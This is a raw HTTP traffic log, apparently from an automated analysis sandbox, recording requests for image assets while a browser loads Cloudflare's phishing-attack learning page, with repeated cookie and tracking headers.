OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%2
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d6040ffca/cloudflare-spectrum.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dh
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1rVmRBDX3KhZOe2FREoYOz/24f44a8dbe53111346d97dc59b7510ed/security-shield-protection-1.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%2525
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/35yeieyQns5B8WsFes9Z20/8bf36cbf9edf546c30cc9e3e08235255/cloudflare-zero-trust.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%2525
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3fy2mc73AF9xqD18C5760R/f46ab68d38c9adb30a639f69589d8af0/doordash_134.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25252F
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1Xar1H4WcFHHkHRDzMypMh/1f8989ae11cb464cc640c7121d0be9a6/logo_mars_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259306621%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:79.54295221373373}; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activi
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3jxszSMXRhwiwHDa1VPXFw/cc6439cd93a107bd0986bb6d5dcd8a97/network-scale.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; 